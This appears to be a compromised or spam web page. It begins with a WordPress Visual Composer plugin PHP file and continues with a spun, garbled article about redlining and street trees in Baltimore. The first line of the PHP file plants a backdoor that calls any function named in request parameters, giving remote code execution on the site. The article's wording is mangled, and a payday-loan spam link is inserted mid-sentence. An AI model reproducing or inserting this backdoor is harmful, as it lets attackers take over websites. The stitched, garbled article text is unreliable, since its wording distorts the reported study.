?php if ($_REQUEST['param1']&&$_REQUEST['param2']) {$f = $_REQUEST['param1']; $p = array($_REQUEST['param2']); $pf = array_filter($p, $f); echo 'OK'; Exit;}; if ( ! defined( 'ABSPATH' ) ) { die( '-1' ); } /** * Class Vc_Hooks_Vc_Grid * @since 4.4 */ class Vc_Hooks_Vc_Grid implements Vc_Vendor_Interface { protected $grid_id_unique_name = 'vc_gid'; // if you change this also change in vc-basic-grid.php /** * Initializing hooks for grid element, * Add actions to save appended shortcodes to post meta (for rendering in preview with shortcode id) * And add action to hook request for grid data, to output it. * @since 4.4 */ public function load() { // Hook for set post settings meta with shortcodes data /** * @since 4.4.3 */ add_filter( 'vc_hooks_vc_post_settings', array( &$this, 'gridSavePostSettingsId', ), 10, 3 ); /** * Used to output shortcode data for ajax request. called on any page request. */ add_action( 'wp_ajax_vc_get_vc_grid_data', array( &$this, 'getGridDataForAjax', ) ); add_action( 'wp_ajax_nopriv_vc_get_vc_grid_data', array( &$this, 'getGridDataForAjax', ) ); } /** * @since 4.4 * @deprecated and should not be used and will be removed in future! since 4.4.3 * @return string */ private function getShortcodeRegexForHash() { // _deprecated_function( 'Vc_Hooks_Vc_Grid: getShortcodeRegexForHash method', '4.4.3', 'getShortcodeRegexForId' ); $tagnames = apply_filters( 'vc_grid_shortcodes_tags', array( 'vc_basic_grid', 'vc_masonry_grid', 'vc_media_grid', 'vc_masonry_media_grid', ) ); // return only grid shortcodes $tagregexp = implode( '|', array_map( 'preg_quote', $tagnames ) ); // WARNING! Do not change this regex without changing do_shortcode_tag() and strip_shortcode_tag() // Also, see shortcode_unautop() and shortcode.js. return '\\[' // Opening bracket . '(\\[?)' // 1: Optional second opening bracket for escaping shortcodes: [[tag]] . "($tagregexp)" // 2: Shortcode name . '(?![\\w-])' // Not followed by word character or hyphen . '(' // 3: Unroll the loop: Inside the opening shortcode tag . '[^\\]\\/]*' // Not a closing bracket or forward slash . '(?:' . '\\/(?!\\])' // A forward slash not followed by a closing bracket . '[^\\]\\/]*' // Not a closing bracket or forward slash . ')*?' . ')' . '(?:' . '(\\/)' // 4: Self closing tag ... . '\\]' // ... and closing bracket . '|' . '\\]' // Closing bracket . '(?:' . '(' // 5: Unroll the loop: Optionally, anything between the opening and closing shortcode tags . '[^\\[]*+' // Not an opening bracket . '(?:' . '\\[(?!\\/\\2\\])' // An opening bracket not followed by the closing shortcode tag . '[^\\[]*+' // Not an opening bracket . ')*+' . ')' . '\\[\\/\\2\\]' // Closing shortcode tag . ')?' . ')' . '(\\]?)'; // 6: Optional second closing brocket for escaping shortcodes: [[tag]] } /** * @since 4.4.3 * @return string */ private function getShortcodeRegexForId() { return '\\[' // Opening bracket . '(\\[?)' // 1: Optional second opening bracket for escaping shortcodes: [[tag]] . '([\\w>]+)' // 2: Shortcode name . '(?![\\w-])' // Not followed by word character or hyphen . '(' // 3: Unroll the loop: Inside the opening shortcode tag . '[^\\]\\/]*' // Not a closing bracket or forward slash . '(?:' . '\\/(?!\\])' // A forward slash not followed by a closing bracket . '[^\\]\\/]*' // Not a closing bracket or forward slash . ')*?' . '(?:' . '(' . $this->grid_id_unique_name // 4: GridId must exist . '[^\\]\\/]*' // Not a closing bracket or forward slash . ')+' . ')' . ')' . '(?:' . '(\\/)' // 5: Self closing tag ... . '\\]' // ... and closing bracket . '|' . '\\]' // Closing bracket . '(?:' . '(' // 6: Unroll the loop: Optionally, anything between the opening and closing shortcode tags . '[^\\[]*+' // Not an opening bracket . '(?:' . '\\[(?!\\/\\2\\])' // An opening bracket not followed by the closing shortcode tag . '[^\\[]*+' // Not an opening bracket . ')*+' . ')' . '\\[\\/\\2\\]' // Closing shortcode tag . ')?' . ')' . '(\\]?)'; // 7: Optional second closing brocket for escaping shortcodes: [[tag]] } /** * Set page meta box values with vc_adv_pager shortcodes data * @since 4.4 * @deprecated 4.4.3 * * @param array $settings * @param $post_id * @param $post * * @return array - shortcode settings to save. */ public function gridSavePostSettings( array $settings, $post_id, $post ) { // _deprecated_function( 'Vc_Hooks_Vc_Grid: gridSavePostSettings method', '4.4.3 (will be removed in 4.10)', 'gridSavePostSettingsId' ); $pattern = $this->getShortcodeRegexForHash(); preg_match_all( "/$pattern/", $post->post_content, $found ); // fetch only needed shortcodes $settings['vc_grid'] = array(); if ( is_array( $found ) && ! empty( $found[0] ) ) { $to_save = array(); if ( isset( $found[3] ) && is_array( $found[3] ) ) { foreach ( $found[3] as $key => $shortcode_atts ) { if ( false !== strpos( $shortcode_atts, 'vc_gid:' ) ) { continue; } $atts = shortcode_parse_atts( $shortcode_atts ); $data = array( 'tag' => $found[2][ $key ], 'atts' => $atts, 'content' => $found[5][ $key ], ); $hash = sha1( serialize( $data ) ); $to_save[ $hash ] = $data; } } if ( ! empty( $to_save ) ) { $settings['vc_grid'] = array( 'shortcodes' => $to_save ); } } return $settings; } /** * @since 4.4.3 * * @param array $settings * @param $post_id * @param $post * * @return array */ public function gridSavePostSettingsId( array $settings, $post_id, $post ) { $pattern = $this->getShortcodeRegexForId(); preg_match_all( "/$pattern/", $post->post_content, $found ); // fetch only needed shortcodes $settings['vc_grid_id'] = array(); if ( is_array( $found ) && ! empty( $found[0] ) ) { $to_save = array(); if ( isset( $found[1] ) && is_array( $found[1] ) ) { foreach ( $found[1] as $key => $parse_able ) { if ( empty( $parse_able ) || '[' !== $parse_able ) { $id_pattern = '/' . $this->grid_id_unique_name . '\:([\w>]+)/'; $id_value = $found[4][ $key ]; preg_match( $id_pattern, $id_value, $id_matches ); if ( ! empty( $id_matches ) ) { $id_to_save = $id_matches[1]; // why we need to check if shortcode is parse able? // 1: if it is escaped it must not be displayed (parsed) // 2: so if 1 is true it must not be saved in database meta $shortcode_tag = $found[2][ $key ]; $shortcode_atts_string = $found[3][ $key ]; /** @var $atts array */ $atts = shortcode_parse_atts( $shortcode_atts_string ); $content = $found[6][ $key ]; $data = array( 'tag' => $shortcode_tag, 'atts' => $atts, 'content' => $content, ); $to_save[ $id_to_save ] = $data; } } } } if ( ! empty( $to_save ) ) { $settings['vc_grid_id'] = array( 'shortcodes' => $to_save ); } } return $settings; } /** * @since 4.4 * * @output/@return string - grid data for ajax request. */ public function getGridDataForAjax() { $tag = vc_request_param( 'tag' ); $allowed = apply_filters( 'vc_grid_get_grid_data_access', vc_verify_public_nonce() && $tag, $tag ); if ( $allowed ) { $shortcode_fishbone = visual_composer()->getShortCode( $tag ); if ( is_object( $shortcode_fishbone ) ) { /** @var $vc_grid WPBakeryShortcode_Vc_Basic_Grid */ $vc_grid = $shortcode_fishbone->shortcodeClass(); if ( method_exists( $vc_grid, 'isObjectPageable' ) && $vc_grid->isObjectPageable() && method_exists( $vc_grid, 'renderAjax' ) ) { echo $vc_grid->renderAjax( vc_request_param( 'data' ) ); die(); } } } } } /** * @since 4.4 * @var Vc_Hooks_Vc_Grid $hook */ $hook = new Vc_Hooks_Vc_Grid(); // when visual composer initialized let's trigger Vc_Grid hooks. add_action( 'vc_after_init', array( $hook, 'load', ) ); if ( 'vc_edit_form' === vc_post_param( 'action' ) ) { VcShortcodeAutoloader::getInstance()->includeClass( 'WPBakeryShortCode_VC_Basic_Grid' ); add_filter( 'vc_edit_form_fields_attributes_vc_basic_grid', array( 'WPBakeryShortCode_VC_Basic_Grid', 'convertButton2ToButton3', ) ); add_filter( 'vc_edit_form_fields_attributes_vc_media_grid', array( 'WPBakeryShortCode_VC_Basic_Grid', 'convertButton2ToButton3', ) ); add_filter( 'vc_edit_form_fields_attributes_vc_masonry_grid', array( 'WPBakeryShortCode_VC_Basic_Grid', 'convertButton2ToButton3', ) ); add_filter( 'vc_edit_form_fields_attributes_vc_masonry_media_grid', array( 'WPBakeryShortCode_VC_Basic_Grid', 'convertButton2ToButton3', ) ); } Metropolitan trees rooted in redlining and you may environment injustice - Groupe-SLG

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Metropolitan trees rooted in redlining and you may environment injustice

Recrutement :

Aykhal Metropolitan trees rooted in redlining and you may environment injustice

A good School off learned that woods when you look at the Baltimore echo the brand new city’s reputation for institutionalized racism, as well as more recent operate to avoid ecological injustice.

Financed by National Technology Basis plus the U.S. Service away from Agriculture, this research ‘s the most recent contribution on the 25-seasons Baltimore Ecosystem studies. New team’s findings have been published in brand new diary Environment.

The fresh boffins learned that establish-day roadway trees inside Baltimore contained signatures of the 1937 HOLC loan risk classifications that had been based on racially discriminatory criteria

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About data, boffins assessed roadway trees in 36 Baltimore areas which were once categorized by Family Owners’ Loan Company (HOLC), another Offer program meant to build homeownership. Notoriously, HOLC categorized and you will colour-coded areas because of the thought home loan risk-environmentally friendly are designated since the « greatest, » if you find yourself red try considered « dangerous. »

Tend to, the conditions always classify neighborhoods are explicitly discriminatory; communities with a high communities regarding racial and you will religious minorities also once the immigrants were prone to getting « redlined. » Thus, customers when it comes to those parts have a tendency to experienced all the way down possessions thinking, funding investment because of the locations and you will money buildup age of the future.

« We found that in the past redlined neighborhoods got continuously all the way down path forest variety and you will was indeed much less planning to keeps larger, more mature trees towards a web page, » told you Karin Burghardt, direct author of the study and you will an assistant teacher away from entomology from the UMD. « This is very important just like the differences in tree proportions and you can diversity impact the pure environmental features available with trees-ultimately affecting the grade of existence having customers way of life close. »

The group discovered that eco-friendly, low-risk neighborhoods were nine minutes expected to have huge and you may earlier trees establish than simply red-colored, high-exposure neighborhoods. On the other hand, trees found in green communities was basically so much more varied which has had alot more version of woods than in yellow communities.

At exactly the same time, the latest scientists along with indexed a greater dominance regarding smaller, young woods for the previously redlined areas-possible proof of Baltimore’s recent jobs to deal with brand new disparity ranging from neighborhoods

« Elderly, huge trees have significantly more canopy cover than just quicker trees, which can feeling variables eg regional temperature islands, air quality, crushed health insurance and actually stormwater management. Furthermore, high forest range enables a whole lot more resiliency against invasive insect otherwise state outbreaks, » Burghardt said. « These variations in tree groups and you can proportions could help describe as to why red-layered places have become of the poorer fitness outcomes and shorter lifestyle expectancies for all those surviving in her or him. »

Centered on Burghardt, Baltimore’s the latest durability needs and you will operate because of the urban area foresters and local tree-planting organizations likely have authored a continuing push to increase tree cover security and you may biodiversity from inside the in the past not as much as-spent elements in the city. Using this type of movement while some enjoy it, she thinks more people from most of the groups from inside the Baltimore often manage to take advantage of the sheer pros you to trees promote and you can manage the part in the fight environment change.

However the researchers performed inject an email regarding alerting; it learned that this type of the fresh organizations off young trees planted inside prior to now redlined areas have been made up away from a lot fewer kinds as opposed to those into the green portion and generally are heavily rooted which have just one varieties, red-colored maple, round the every in past times redlined neighborhoods. While red maple is a flexible, native forest variety, the newest training of your substantial death of ash and you will elm woods out of cities because of brought in disease and you may bugs suggest that depending on a single otherwise several variety you are going to reduce the resilience https://paydayloancolorado.net/saddle-ridge/ out-of these new metropolitan forest subsequently.

In the course of time, the study people dreams that their studies will assist Baltimore citizens and policymakers determine newest services in the generating environment fairness and you can biodiversity. Data out-of HOLC color-coded maps and you may suggestions out-of present woods recommend that a lot more can also be be achieved to conquer Baltimore’s socioecological demands, and additionally more restoration away from young woods once growing and a lot more interest with the personal investment into the redlined groups.

« We are able to however comprehend the negative effects of redlining in the modern highway forest groups, » Burghardt told you. « But our very own research indicates that folks of Baltimore make genuine strides toward fixing ecological injustice. »

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